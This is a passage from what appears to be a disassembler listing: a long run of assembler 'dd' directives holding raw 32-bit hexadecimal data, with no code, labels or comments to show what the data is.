		dd 8B4F3EB8h, 0D3C5637Bh, 96C1222Ch, 4326A190h,	0C42631CCh
		dd 19F9E50Ch, 48C703C2h, 0F2010F05h, 883EAC2h, 4FA835Eh
		dd 6AAA5754h, 68051A9Bh, 644B61D7h, 0C00E8051h,	219D562h
		dd 7A6650B9h, 3E13154h,	2D733446h, 321A6A0Fh, 0A89A6B63h
		dd 851696C5h, 0BC109B4h, 3E8D0C76h, 5804FB61h, 0F94FF7D1h
		dd 0EE21E08Bh, 59526593h, 32987931h, 0B2B5540Ch, 0D6716049h
		dd 68538080h, 943C352Fh, 58A882E4h, 79FF8069h, 191E0074h
		dd 208B34BFh, 0D758293Bh, 0F3F702B1h, 606E696Ah, 10618A1Dh
		dd 7F89F683h, 5D044EFCh, 50E926C7h, 0BC137694h,	0EDA05634h
		dd 855164AFh, 52F0ADD9h, 2FF53144h, 282EC828h, 0C13F886Fh
		dd 84E13958h, 5966C820h, 0A9483E2h, 69B39D4Fh, 6201059h
		dd 0F764BE01h, 2B29DDA9h, 6B7DC204h, 0EDC58002h, 39BF663h
		dd 0A23F65BFh, 0B0EFCC98h, 372F6F36h, 0A8E39ACFh, 69E1F828h
		dd 88AC6822h, 6311B33h,	45F90D45h, 0A8B9F420h, 66145D92h
		dd 3EF0D829h, 6E284A1Ch, 0E75960FEh, 5C6FC6CAh,	45F850FCh
		dd 0AD02EEB4h, 0D12C6468h, 4C4A89Fh, 78E92F7Eh,	2C57CA42h
		dd 6E55C59h, 0D7E8C094h, 525029A2h, 3F925875h, 183BDF2Dh
		dd 2652F718h, 16F7BABh,	498A4540h, 4F123E01h, 287A1B0Bh
		dd 5AEEA5h, 0F7E9DDE4h,	0BD078275h, 85F530FAh, 5948E828h
		dd 160410A6h, 57FE3109h, 0D1F79F23h, 0FC5F0B3Ch, 0FE68102h
		dd 4350B15Ah, 0B12839Fh, 525EF2A5h, 18283340h, 0FECAC198h
		dd 0E90907F1h, 0E2E3C217h, 6C2961C0h, 4E0D0882h, 0ECC20F85h
		dd 0EE8367E0h, 0D87132C9h, 0ED9B952Dh, 0B5F284DCh, 51D3438Ah
		dd 0F4CA1912h, 0D8C18D43h, 172E348h, 82981782h,	42CF31AAh
		dd 0C007FBC2h, 0CB800563h, 0D6C198B7h, 59CF0E88h, 0D749DFF6h
		dd 519F3C03h, 0FDE9F9D8h, 11EEF75Dh, 1C207147h,	18444C27h
		dd 526A663h, 84E974A2h,	2C058DD3h, 0C3027001h, 0E9E0B151h
		dd 4E26CAC5h, 80B9CEFh,	902434C1h, 333B9180h, 1009B911h
		dd 3B20C46Ah, 0D1B2E45Dh, 0AEFA180h, 1023B07h, 300D0C78h
		dd 0A218182Bh, 0E47DF371h, 5286F958h, 0CF68800Fh, 0B4711614h
		dd 0A59995ADh, 40F5CD4Fh, 3931C13Ch, 0E2E94E0Ah, 3D8988C2h
		dd 9044D7Ch, 0E059F376h, 0D916C325h, 0D1071809h, 439D1C77h
		dd 92ADD3E5h, 78D4A841h, 36AEEA81h, 0F0ED786Bh,	0B9BC002Fh
		dd 2C546457h, 0E8010B90h, 0E94B655Fh, 0A750EF34h, 269CB9F1h
		dd 3ABA91C3h, 28B5FC02h, 8F5CD101h, 0E9C8076Fh,	0DF27289Bh
		dd 0E9749043h, 4FB08127h, 0C870E902h, 8A050AC0h, 1F455F2Eh
		dd 56581889h, 31B549E6h, 4F09A081h, 824B291Ch, 0DEBFEDE9h
		dd 7C16E969h, 0B6E9550Dh, 0F6A0F10h, 0A2464D2Fh, 0DAB91222h
		dd 0B492562h, 849F05EEh, 540C4628h, 68195D79h, 8D3B3648h
		dd 56183E25h, 297E52D0h, 0E0CE539Fh, 0A109BF88h, 63AC7159h
		dd 169FEB9Ah, 0B654551Bh, 9D2C7E0Eh, 9B8D7D6h, 0C2582CC8h
		dd 0BAC045AAh, 0CEB002A7h, 40629A68h, 5606FC49h, 444F80B5h
		dd 0D9096F10h, 3D4C5B48h, 90CE9801h, 344F8993h,	82DD5920h
		dd 0A47CAD6Eh, 0A8400916h, 0DCDD72EBh, 837691F6h, 0E388C1B4h
		dd 93A249CAh, 9661E528h, 0FC9EE821h, 0C15326C9h, 0EA7CC67h
		dd 0D2F72BC0h, 80C04D6h, 0FEBE18E5h, 5AD43F25h,	804EDE17h
		dd 8AF68112h, 1B523E0h,	862B4C49h, 2DCE29D8h, 4A60BBE9h
		dd 6805565Fh, 732E63E8h, 5CA0A081h, 0D70BE939h,	650BF967h
		dd 80739C2h, 30FFA25Ah,	7E762243h, 24C3BA53h, 0BD81B8D1h
		dd 70564BCh, 7048E561h,	3DD78F7h, 0AF43A3F5h, 9E045229h
		dd 4D6B7A2Ch, 4FB80380h, 0FA7B64FCh, 0F2C39417h, 649A07AAh
		dd 0D9F23F8Eh, 9A054738h, 1AC40C83h, 0BA62149Fh, 53A6B5A5h
		dd 0D9ACC753h, 0DD33CAA0h, 0F5EE722Ah, 0BF519394h, 77482322h
		dd 0C6F6E9C2h, 6E994F7Ch, 0C52666FBh, 51DC689Ah, 5763E9E1h
		dd 5F05980h, 35390D72h,	2162FA96h, 0BE6D1C1h, 68C863A3h
		dd 30804DECh, 0E940FACBh, 52EFF556h, 0FE138C5Ch, 0CA82440Ch
		dd 5913E31Eh, 0EE711065h, 0D490BB58h, 37A5A02h,	0F1C18770h
		dd 0F735CDD5h, 53C1C916h, 0D10F40ECh, 88C649E1h, 0B9029768h
		dd 21841D94h, 3F336081h, 342C609Fh, 0B1B2212h, 59C88916h
		dd 20514001h, 137A266Dh, 0FEFD0159h, 0E5249738h, 0A44C80C6h
		dd 0E95AC85Ch, 0AE19C91h, 25C0FD31h, 0D1AE5565h, 5A555C61h
		dd 29B0E3ADh, 0DC925EE9h, 324D334Ah, 0BB1910CFh, 0F384163Eh
		dd 4F985B78h, 4F696247h, 0BCA74C5Bh, 95937453h,	46AB000Ah
		dd 0B923EFBDh, 104F3431h, 0C9F4D9F7h, 73191B2Fh, 6698BE71h
		dd 98A20B02h, 24C2F6F2h, 0C17F7630h, 0FA54AAC9h, 344F83A6h
		dd 97A3ECC5h, 0ACB20216h, 0C14EED91h, 296037EFh, 215B0BE8h
		dd 2741CDC8h, 0F5E83009h, 0B58E8C1h, 2D56304Bh,	0C1E554E9h
		dd 2EA7F2F3h, 0D601C83Dh, 0F7255A73h, 0A0A6145Eh, 83309F7Ch
		dd 2A5BDAE2h, 763C291Ah, 2BD6D830h, 0F5433381h,	0D066F31h
		dd 0AA2D8EC4h, 0B59534Fh, 9F717072h, 91682738h,	89697D9Ch
		dd 15D92852h, 20B5CCCBh, 0A4985D82h, 665D4178h,	3CB938C7h
		dd 29390F3Ah, 58B889CFh, 54503DCCh, 520B5CA5h, 4D232E01h
		dd 0F7032A0Eh, 97A9213Ah, 7EC0F667h, 316844FEh,	986F57B2h
		dd 30590042h, 0AF21B7C3h, 0E2618724h, 32C2AC1h,	0D602B283h
		dd 0A8DC5A63h, 1BBD542h, 0E0E8215Eh, 67CD7B86h,	8D601BC8h
		dd 366A161Dh, 7420C29h,	9305ED12h, 0D10999CFh, 9A01CC16h
		dd 3127021Dh, 0D035B247h, 0E983D5B2h, 0A0335C0h, 0F65BFE88h
		dd 510406DEh, 46800FB1h, 6CF96B8h, 3EF12006h, 3E59CE30h
		dd 2398B92Ch, 1DF697EAh, 0ECF9A900h, 295EF301h,	2CE916DDh
		dd 0E21A5E7Dh, 9D174ABCh
		dd 9431424Ch, 992DBF52h, 27D14106h, 4C4203D0h, 0F20000E4h
		dd 0B8877322h, 3B167E2Dh, 7F8475EEh, 0C1700711h, 0A22DD801h
		dd 64476CC8h, 0AA6EB055h, 0F55B254Ah, 2E157F03h, 0F8AEF235h
		dd 0BF01F87Fh, 0A574360Eh, 0CC129407h, 0A1E15427h, 0C42D6B44h
		dd 0C0C493Bh, 0D4EF6149h, 194C7061h, 7CC502A4h,	0C04D0727h
		dd 5C57E9BAh, 5FC9C3EEh, 5FBB52E5h, 4F29A1DCh, 159ACC6Bh
		dd 0B2C8434Fh, 195F2768h, 0F74B2666h, 0A849791Dh, 2C9D27BAh
		dd 46B850D2h, 58C526DDh, 86A4A4F0h, 2EBC92E9h, 4FC85258h
		dd 1DCAE413h, 75A4E7Eh,	9FFB755h, 8003DB70h, 0EDC0B3E5h
		dd 0F9F5B108h, 493A4688h, 3189052Dh, 597D43B9h,	805BDC7Ch
		dd 0F658E3E4h, 0DE7ED377h, 27F76CEFh, 144C4666h, 7479BB68h
		dd 6FDF698Dh, 4040D32Ch, 45B85803h, 2D5E0279h, 9689A14h
		dd 8E6204DAh, 281D819Fh, 97D32CC8h, 0E90B9F8Eh,	4171F0C5h
		dd 3CD20F7h, 9F8836A7h,	4BAC135Dh, 8B04D4EDh, 642CD7F5h
		dd 3173E118h, 8E2C6F89h, 0C3E95029h, 45B09E0Ch,	619B19BAh
		dd 6683647Ah, 75556816h, 662060E5h, 0D866D2B9h,	4B489798h
		dd 0BB53C018h, 0B8486EF3h, 42D33C1Ah, 5A5B5280h, 236BF57h
		dd 5D3DBE24h, 0BB9FB401h, 0D74031CDh, 0BC2042E9h, 2C074DBBh
		dd 0F7CBA428h, 0E8BFE90Dh, 2CD5E498h, 0C87FED70h, 59C2DBE9h
		dd 0B68127F1h, 0B7E6807Eh, 7339CECCh, 88531D86h, 0C5EF5DCFh
		dd 0B114E9C5h, 8A407C51h, 272A225Ah, 3B543F20h,	8AA6EF30h
		dd 83AD86EAh, 0F09C47Fh, 100E9F84h, 30462EB1h, 1C0C0A28h
		dd 4A41D66Eh, 9CFF560h,	0B9E9570Ch, 8F6693A2h, 9B972043h
		dd 528BE97Bh, 8C828254h, 608F0661h, 39C3006h, 2CAF0935h
		dd 8E4625E9h, 0C349F088h, 27405150h, 709F2768h,	55E6C2E6h
		dd 7E640E9Eh, 8A5E66A8h, 59207E1Eh, 0EE831E44h,	82131301h
		dd 3E825E1Fh, 50F1D95Fh, 0E5859093h, 2752E384h,	53A1EF12h
		dd 46A5196Dh, 0B916AAFFh, 0F832900Bh, 0B5F86655h, 45C4320Fh
		dd 2A21F93Eh, 0B0655952h, 0ADB840A6h, 7EB45000h, 0F280B6B2h
		dd 14243FB8h, 0AB6FF278h, 6408863Eh, 90A4AB4Dh,	0F0F6ED80h
		dd 0A2794B44h, 0C838D1Eh, 5E016B21h, 0D879A30Fh, 7DB81E1Ah
		dd 4BD7941h, 520024BCh,	0D1FD3BAh, 2FB8420Eh, 192F940Ch
		dd 1FB50C6Bh, 88B3D2h, 2D3AAFEDh, 0D57E017Ch, 3408C551h
		dd 0D486CC3h, 48944F03h, 0C95D080Fh, 5D3570A2h,	3D2D405Bh
		dd 7C5C3689h, 8E6D6552h, 5D525166h, 0CE018F43h,	0F767592Fh
		dd 0E146E7D6h, 4403EEC1h, 0C48A0709h, 1231E5FEh, 0EFC904EDh
		dd 21BF0050h, 1DFD08h, 0A942102Dh, 0E9F82954h, 1913624Bh
		dd 0F15138E4h, 185706Ch, 0BD64D44Ch, 7356C475h,	0C3C0CEFDh
		dd 51F81789h, 0C02BE927h, 0EED8F676h, 52DF59BAh, 4CB75610h
		dd 41C525D5h, 8705D71h,	89EE4085h, 7E9EEA50h, 960C7559h
		dd 10AC58C4h, 86C501E1h, 0FE7FE927h, 5E9E9548h,	0C85B9B7h
		dd 6CF1B211h, 331794DFh, 0FACD91E7h, 9613F2D9h,	9BF9534Bh
		dd 9E9D2B07h, 970AA9ECh, 0A179EF9Ah, 9B125B45h,	0BCB539B8h
		dd 7FEBA00Bh, 23EF1373h, 100FC401h, 2A49AB08h, 0EDCA634Bh
		dd 0D4D08612h, 3EB88141h, 0BE41420Dh, 500D5E1h,	0A77D099Bh
		dd 0E0C1480Fh, 21EAC607h, 15BB64Fh, 37DC565Ah, 2911BE01h
		dd 8200C6Ch, 0EB128376h, 702D583Ch, 613F8938h, 30B86DAEh
		dd 0B5F1817Fh, 6E22FC09h, 684B9831h, 347E4EC9h,	0BAC28CFCh
		dd 70462BB5h, 0AB64A949h, 35025328h, 5CBF6B51h,	1BFACE42h
		dd 0AFC1013Bh, 1C3742D8h, 6B9EBFC5h, 73076813h,	225CDE3h
		dd 7E093044h, 122DC62h,	414BE9CFh, 57DF2B8Ch, 7A13B0F2h
		dd 4AA41F74h, 0E9659759h, 1214C694h, 4BA0CCE9h,	5F59775Ah
		dd 0B2ACC039h, 0EEDC289Ah, 0F304F80Eh, 4060308Dh, 545380E0h
		dd 78A52A93h, 9D875BAAh, 0EE66C03h, 0B39B6407h,	7F6A90Ah
		dd 0F0215B05h, 0BCDF2988h, 0A1BB0156h, 212299E0h, 0B1817096h
		dd 0CC621F70h, 72DF4CACh, 0D6E70B9h, 0D901D4FAh, 0DD126190h
		dd 9585F6A0h, 929E1359h, 5AE0583Bh, 0E7306B2Ch,	3B0FBC77h
		dd 0C60609Fh, 277959C7h, 5BDE0113h, 0CA6602D2h,	2DF14050h
		dd 0FA7482B5h, 0FB13BA4Fh, 0C87D89D6h, 2A5D2E5Ah, 869A5A77h
		dd 61018F27h, 0C9E8315Dh, 68088FC5h, 95F392C2h,	0C9210124h
		dd 0C6621ED9h, 0F4F809D3h, 5B4C35F0h, 0B299F4FAh, 65963339h
		dd 253BF681h, 812251CFh, 67418505h, 28C2F542h, 9E875B25h
		dd 0B3B758D9h, 0D95A17F0h, 9C67A316h, 0C148E1A5h, 6882F478h
		dd 0F7FE396Ch, 6DD804C9h, 0C36DA413h, 3B45640Bh, 97B47017h
		dd 0EA815F6Eh, 8A9B60FBh, 0A328B191h, 0FD543324h, 64F65672h
		dd 0C36AD44Fh, 8DC25609h, 0B764C3A7h, 0B4238232h, 0EB89B274h
		dd 64C60B07h, 25FA2FF8h, 3F8541A0h, 17B41F6h, 80DBFA2h
		dd 38F9656Bh, 0CE20F443h, 0B508D5E9h, 0A9205696h, 0C7801646h
		dd 17C9058Ah, 787DB2FEh, 69BB736Fh, 0BA37EC6h, 0BC84F328h
		dd 9DB70753h, 0A99ECFE7h, 4971EAC8h, 62345142h,	5C10194Ch
		dd 45EAAA72h, 50CA1E07h, 5E5514FAh, 84AB73E4h, 0F7FD87B8h
		dd 576FD77Dh, 0E109CC1Ah, 21203F6h, 0F1012162h,	5EE0CDEEh
		dd 93A0969Dh, 2130172Dh, 2B363BBh, 79A95AF6h, 333C895Ah
		dd 75EA03B4h, 46BE43Dh,	6F58410Ch, 40C4ED67h, 5C37E908h
		dd 844F7631h, 7CF802C3h, 5250D2DFh, 39EDF074h, 31405F2Fh
		dd 0CA4CED2Dh, 3B3EB1E8h, 21076502h, 670E89BBh,	51B25EF7h
		dd 0C3010060h, 72D08358h, 0BDE51336h, 0E7336BC8h, 432AC33h
		dd 650BB223h, 60183F90h, 0B2D28737h, 93BEC791h,	0AA956AEh
		dd 9A80BA9Ah, 3D772706h, 0B1F0292Dh, 126E858Dh,	0D5D3EC9Bh
		dd 155034D1h, 5DC0EB13h, 4869ABBEh, 0DB120B3Ch,	0E6D6F873h
		dd 526601CBh, 88F0B050h, 0B3D030C2h, 0DA308F13h, 6379D04h
		dd 592648F2h, 0C280012Fh, 60D92C38h, 0B7265353h, 0C19A1B3h
		dd 5145BEFh, 5410845Dh,	4E8B22h, 87B6BD72h, 3947F7Ch, 34F50507h
		dd 21820AE5h, 8BD5D617h, 0CA1844E8h, 0B4F601B5h, 0E4C08800h
		dd 0F2CC8005h, 0EBC472FEh, 3D02ECE8h, 0CFCF8CE9h, 0F7914AFBh
		dd 292F1237h, 9B636F3h,	24A8E951h, 0B885310h, 97099FEBh
		dd 27094602h, 81E1D101h, 7A4D49C8h, 0F5F7E882h,	13F57D30h
		dd 5E7F1048h, 81DBC04Eh, 0E03541F3h, 102B69h, 0AC02A158h
		dd 0CB312821h, 85504ADBh, 31DEA152h, 21AA13B8h,	10EDADF4h
		dd 4654B823h, 0BF570253h, 7B070BBCh, 0E9043774h, 2AE33A46h
		dd 3B84632Dh, 0C1B7FCBFh, 11A3363Ah, 641F0C80h,	0FD011351h
		dd 883A690h, 38140C41h,	1387A315h, 0D932C795h, 93336F0h
		dd 0D3D32CE9h, 6BAB09CDh, 0AD625154h, 7A425C37h, 30B0A090h
		dd 10D84F82h, 28E90A33h, 0BF421E2Dh, 0AF5D0453h, 6C50FD5Fh
		dd 2FF9A592h, 7F4C8CCBh, 0D535EB90h, 7B20E842h,	4DF0371Dh
		dd 556ACB81h, 0F63026C5h, 42318147h, 0B174338Dh, 55B0C9C2h
		dd 0BA740698h, 1097208Eh, 11E642A0h, 33F10082h,	89020619h
		dd 0F1BA7421h, 0D27D150Bh, 4FCA704Fh, 8222D42Dh, 0C509EB3Fh
		dd 5A6509E6h, 0BBE05ADEh, 24304C58h, 0B714B5Eh,	0C9E666A5h
		dd 449F7B9h, 0BE0D4B75h, 0F57F60C5h, 0B8505E00h, 23911EDEh
		dd 0E0E84EC1h, 11930888h, 0FA69222Fh, 0C6C4692Fh, 0CAD23B3Ch
		dd 10DC42F9h, 68C256C5h, 25463FE4h, 0F26A9C81h,	0BAEB8803h
		dd 5E864991h
		dd 0AA0B07Ch, 0FEBBC831h, 2454E90Bh, 12BA641Eh,	9F2C0B27h
		dd 46257350h, 5D770F7h,	0A44193EAh, 0DE1BA931h,	71E3F300h
		dd 0FCF821A1h, 5777A23Ch, 1C26FB2h, 31041064h, 0FE295BDFh
		dd 175E61FAh, 356800EAh, 65891331h, 49E6F059h, 9A3EE5FFh
		dd 5738FB4Dh, 974AE51Ch, 4C2AC0E6h, 0E48E9488h,	0DB682014h
		dd 303FC527h, 3CB72236h, 6C438E56h, 0CE394005h,	3F0BB929h
		dd 0B119AF27h, 0BFB32420h, 0CB07DD13h, 0D0C73700h, 270CA012h
		dd 6B013AE9h, 0E1C39D61h, 0D241A638h, 143DE08h,	0D064EA80h
		dd 0B191D7E2h, 7103D5C0h, 0BDD51038h, 120243A8h, 0E5C1450Eh
		dd 1885C02h, 0B6F158EDh, 10802FC7h, 9BB7E3E9h, 2C7B9D44h
		dd 3DD3680Fh, 0FF354D19h, 2D4B3587h, 2B4CB5E9h,	0FFD8F133h
		dd 0FAF63380h, 524B6707h, 0CB611BF8h, 0D3C3807Ah, 0CDE1A5E3h
		dd 0E82279B2h, 9F5030CAh, 12BEA2F0h, 30838C2h, 0A196C968h
		dd 13494C20h, 0BDD830ACh, 0AD45D2E7h, 0A48C1703h, 0B5511253h
		dd 0A48E17A9h, 6BCBCB60h, 0B7054C29h, 2515CC91h, 8E9B2D54h
		dd 64CB3375h, 0C457E909h, 4D7D5C22h, 3059AA7Eh,	0F04EC362h
		dd 3F1F35ABh, 0FB4A109Ah, 78A58448h, 0A5389E4Fh, 0EC0306Ah
		dd 60C9DCE6h, 0BE4C595Ah, 0B66CC213h, 1058084Bh, 0AE0A8904h
		dd 0C5F68F6Eh, 8F54605Ch, 0EBA50402h, 0A493A2B2h, 0B9D3557Ch
		dd 784037F8h, 51E69722h, 388D545Bh, 1A66356Ah, 0A8566F6Ah
		dd 0BF44E971h, 41C83DE5h, 0BE724CD8h, 2D1654B6h, 0D1069C5Fh
		dd 5B0D29EFh, 0DB868101h, 0BF350009h, 81D13E24h, 16DCC1A4h
		dd 8181879Dh, 0F0F22DF8h, 5F2F3914h, 97AC6C05h,	13EF2968h
		dd 17C4340Bh, 0CE248457h, 0F34B47A7h, 5B4F7643h, 2A3548F2h
		dd 110080CBh, 5D4C284Ch, 1402305Fh, 2552E032h, 8AC43120h
		dd 0D9545139h, 783BC957h, 0C5BBA021h, 3D3C182Ch, 3FD70C6Ah
		dd 14ED309h, 8F708CDh, 0DF0B6026h, 5A00990Dh, 0E9617C2Fh
		dd 0B369A162h, 871DCD5h, 0C91861EBh, 0B0882206h, 0D36CE1BBh
		dd 8BF6007Dh, 3468B050h, 0E001C0CFh, 53C8FE04h,	0D7FDE8B7h
		dd 507E7E8h, 0E995EF80h, 5DD5B0B4h, 689101B5h, 0F2236C3Fh
		dd 5F890358h, 0A234277Bh, 0C7065F64h, 8051469Bh, 0BE236873h
		dd 58546227h, 775AB8DCh, 6DC22B94h, 0F4E83CE9h,	9DE9EA8h
		dd 0E522BF5Dh, 4ADE3492h, 1203D16Bh, 0E585D5h, 0E912464Bh
		dd 0A0C94F56h, 0EE1BA0D1h, 94D655Ch, 8E6C102h, 0A44F4404h
		dd 0B992BBA7h, 2C8D30E1h, 9832AF49h, 0AB450FEh,	3BB6525Dh
		dd 309200BCh, 0CDE95AF4h, 0F6399FB4h, 5238342Dh, 0F9B424A1h
		dd 1F59274h, 2C15CC16h,	3ED66103h, 995836CEh, 1997C122h
		dd 91585E82h, 0C8BF050Fh, 0F372E868h, 0ABDC12E9h, 0DA4826A7h
		dd 1E89845Bh, 40365322h, 495BB86Fh, 31243A13h, 158F1C3h
		dd 0D6B397DDh, 8C71A84Fh, 0CC32B0A2h, 0D08C0893h, 2C367438h
		dd 9789285Eh, 0E8881096h, 70BC6F68h, 0C94B7125h, 62106DBh
		dd 782E722Eh, 313EB3CDh, 0CADD6897h, 0A8CC459h,	604FB10Eh
		dd 0FDCF5761h, 0CC0E71Bh, 133EDC7h, 9417B028h, 303B25ECh
		dd 2E8AAC5Eh, 41DD410h,	5202C283h, 1488D8E8h, 0BF76670h
		dd 32DA68F1h, 6F7C681Ah, 11B95100h, 1360BD23h, 408E9C1h
		dd 0C0410461h, 0BD22D62h, 0BF07064Ah, 64DFE883h, 61AB0D51h
		dd 3F5E5B11h, 407D38CAh, 9802B945h, 513E442Eh, 63C4556h
		dd 0FED721E9h, 0B252E1BEh, 5E0FC2C6h, 0F98A0B37h, 45B99D4Bh
		dd 44752F13h, 0E9A8ACCDh, 54909DEh, 0FB860702h,	14980D45h
		dd 0BBA15F4Ah, 51F8CE3Fh, 0BB184C21h, 50DF2912h, 251E68Ch
		dd 1A5C6855h, 75E119E3h, 0C193813Dh, 2DC76240h,	0BF5AAFECh
		dd 0BF71759Ah, 13550DB6h, 0FC22A4E9h, 8DF2F744h, 34945D60h
		dd 0B91F1020h, 57018EB0h, 922A3D2h, 0A2F0F6E9h,	533DD478h
		dd 5256090Dh, 0DC665882h, 5AC25A06h, 0F4973702h, 0F799A0EEh
		dd 1CA0DE4Ah, 5E8FED56h, 0E813D15Eh, 0B88510C2h, 5EAC10Fh
		dd 814AC09Ch, 5C5DFAF2h, 0ACC82C50h, 4132133Bh,	1825AF00h
		dd 0EEBD59E9h, 0A9205A4Dh, 7C135F4Ah, 77C88300h, 5101789Dh
		dd 0FD2CB6EEh, 267A8353h, 5256BA1Ch, 0DE25906Bh, 98B089A6h
		dd 0B1D301EBh, 895B2D31h, 186294E9h, 6EF614E9h,	0D5EEF130h
		dd 5904EBB6h, 93B94C68h, 0A3764D84h, 500D0028h,	0BD5548BEh
		dd 6E5C18E5h, 1B47E205h, 7B315D3Bh, 69087401h, 3357E90Ch
		dd 265FE836h, 1B010965h, 0E93E5B64h, 8050FCECh,	3B20CEE1h
		dd 167C2BC3h, 5B4DA55h,	201CF2D5h, 0BE0F6626h, 2327C87Dh
		dd 0BF92EFh, 1653F1D3h,	0F7810263h, 49084C18h, 74DFD980h
		dd 0D6F71BDEh, 726A9280h, 0E918792Fh, 0C581B352h, 171F098Fh
		dd 0E550C17Ch, 30ABAD72h, 0B0D0F8C2h, 76DAEA9Dh, 57F588BEh
		dd 3A8C7630h, 37DAC930h, 0E7B152F0h, 2B13AB4Fh,	50B2078Eh
		dd 4E44E98Eh, 16184295h, 0AAE2A875h, 51B85007h,	0C23B7506h
		dd 8E2808ECh, 8D4C6B1Fh, 9F04AA7Ah, 0BE20E214h,	2D5C275Eh
		dd 7AF678F2h, 0C6B3489Fh, 0AA06CBC0h, 0FFF0AD84h, 8FE33753h
		dd 54B0288h, 0BFC207C9h, 0F021E1E7h, 0ACAD5303h, 5BDE821Fh
		dd 20F35033h, 0FE5C63E0h, 7D2678E7h, 6806DA28h,	30AD21EBh
		dd 0FEF7F5C7h, 1BB1315Fh, 7F564232h, 569C8B34h,	0F7170C24h
		dd 0B75007A7h, 4A8CB6F9h, 2F470066h, 0E5D16D29h, 4EC0C172h
		dd 356720F5h, 182B50Bh,	46E6E41Eh, 64ABE3Ah, 0F331437Fh
		dd 60849089h, 30ED71D3h, 664C713Bh, 93F58004h, 2DE79A15h
		dd 0CE45E989h, 5C027FA8h, 0E9276A7Bh, 0F87811h,	0EB09EF05h
		dd 0AD6F352Bh, 3125F20Bh, 0B05196C5h, 374009EBh, 36A40B92h
		dd 0BBB2D488h, 0BA52EF00h, 5AB53B69h, 0F552901Dh, 0F353B0E9h
		dd 0AC444A88h, 540E321Eh, 8EC3DFC9h, 2BA731D9h,	0D28FE73Ch
		dd 4B7AF30Eh, 0E7686589h, 685350C0h, 40004408h,	0F3815B7Fh
		dd 1E601DD2h, 40D8893Fh, 0E908E8C1h, 0EABB200Ch, 59675509h
		dd 52521E20h, 1D115EBFh, 5F56CC53h, 0D50BBE20h,	51E670Ch
		dd 6F54DC3Fh, 10CB4E60h, 64BE5601h, 96675B7Ch, 0E5EC1248h
		dd 0DAA131C9h, 2DE83058h, 4E4F7C8Eh, 0CB6BA12h,	0F6B97E16h
		dd 0D1011F17h, 0F79F1A19h, 2B490E8Bh, 0EF8BA10h, 8907EE09h
		dd 25768BCAh, 0E5F050AEh, 0F343E58h, 0CB62B52Fh, 0F4C94B51h
		dd 9F02CB99h, 40323ECCh, 95A65124h, 1676093Ah, 0E57BE962h
		dd 9FC0A28Dh, 3A503691h, 0E0F40937h, 86DBBh, 6006641Fh
		dd 88B83419h, 926C290Bh, 3542B405h, 686EC16Ch, 7456FA26h
		dd 7309BE40h, 3A149037h, 0C6180EEEh, 0D5470C1Eh, 7AD03B25h
		dd 2619A0FDh, 0B0A29FE4h, 0AA0F44BCh, 4A44E5D5h, 0C7FE8990h
		dd 0DBEF3880h, 0E25BF813h, 0B451547Ah, 3869064Ch, 0E1E32EB5h
		dd 35B14027h, 1A0F00B3h, 0B72D4866h, 0F24BA349h, 0B659F0F0h
		dd 82531722h, 657E5419h, 5685650h, 28346369h, 0AA4BAF5Eh
		dd 5CC929AEh, 0B920BE45h, 17DAE59Fh, 598F8C5Ch,	6152A8BEh
		dd 5623Ah, 0E47F6C69h, 5E19F101h, 0EFA4CD89h, 45C73C30h
		dd 0C2422802h, 0A70A78E9h, 6572D09Bh, 0C398A70Fh, 0DBF6CB21h
		dd 3880E3F0h, 0B04AD1F3h, 2459BAB0h, 24893E66h,	0B70EB35Eh
		dd 1ECC0B5h, 24685BDAh,	0C4267765h, 56B15604h, 27B7447Fh
		dd 0DDF70435h, 0F608BCC6h, 5ACEBAABh, 68EDD05Dh, 0A9BE6D6Ch
		dd 2A4E462h, 0A8752D58h, 45AF9381h, 5F322F3h, 6855E0D3h
		dd 0A744BF39h, 2905FBDAh
		dd 3C19C0D7h, 1B60F67Ch, 92E95A49h, 0E9B89EA5h,	5297FF73h
		dd 545AD572h, 20609D59h, 0FDDA303Bh, 17C01053h,	3799215Ch
		dd 0B2046D6Dh, 0F8B62EB4h, 75572631h, 0C926F909h, 0B474ABADh
		dd 4CAD02B8h, 0D8F73FCBh, 3EB2FF61h, 428E0051h,	22CD4A53h
		dd 8B4111FAh, 80FA292Bh, 1F3CBC33h, 26C2F046h, 14EF5F58h
		dd 5B03AD33h, 0AA24E941h, 183304Bh, 223F4C22h, 145C2984h
		dd 0D386106Ah, 889BA879h, 57503EC7h, 0B9071D92h, 3487C41Eh
		dd 0E90DB8F6h, 18F5585Bh, 0B73853E6h, 4907D966h, 0C6DF4B91h
		dd 61C40E5Ah, 2C247590h, 0A8880106h, 0F8310EB7h, 6A45C4EDh
		dd 454B9ECFh, 0AF26A5A5h, 0F95A7132h, 53689E2Dh, 0AAD5CC6Dh
		dd 16C86500h, 0AE9EA29h, 9E23B12Bh, 36FB4C56h, 0C487A3Bh
		dd 0A1B1C09Bh, 5AACE950h, 7B3FA729h, 445FD12Dh,	529E191h
		dd 0B7AC455Ah, 0B507E80Ah, 0E3A537BCh, 5EF2128Bh, 965A56C8h
		dd 452A8923h, 0E59E8556h, 51660F09h, 69BFBC28h,	0C0B71264h
		dd 0F601EFA6h, 6866D705h, 20BF3732h, 0C708C06Fh, 151E34BFh
		dd 0CBA89EE9h, 0DE281A51h, 53975812h, 50D6CEC3h, 8980EDE7h
		dd 0BAA5EED9h, 0E91DBC15h, 9462720Ah, 909A8ADh,	67050F1Ch
		dd 3FAED90h, 6C253EEAh,	427AD962h, 0F694922Ch, 3815EE00h
		dd 1710BF33h, 312FE206h, 84A68BD7h, 91544E51h, 81D0A3A5h
		dd 4090C78Dh, 6EEC3860h, 14479562h, 93AFB08h, 0FA59515Dh
		dd 0D5805944h, 0B540643h, 58C18941h, 0E392D5F1h, 0C4802240h
		dd 60E4C070h, 8520C03h,	0CDF958E1h, 0B6A120C8h,	0F1284616h
		dd 4F2CFFE8h, 965F9DA6h, 7AC0E19Bh, 1E5D218Fh, 17509Ch
		dd 0F15AED81h, 155CFDAh, 0E3C15D5Bh, 85DBF705h,	75E66804h
		dd 0ED105E8Dh, 39EBC15Bh, 3EF28105h, 311FA78Dh,	95516DDh
		dd 0C444D6C5h, 1D45E3A0h, 875E7406h, 17064BDEh,	0FE3DF681h
		dd 2894D0Bh, 0CBF7E97Eh, 0A1CFA9AAh, 6C640AA7h,	81AB0F26h
		dd 0D1F9C047h, 0FAC68912h, 9F208052h, 0D115A21Dh, 82B98087h
		dd 51660771h, 5C3B5F69h, 0D9FC5AF6h, 0DDA600C9h, 181FE57Eh
		dd 0DDCE981h, 590ECF29h, 6E08EFC1h, 140172E7h, 0DB73D906h
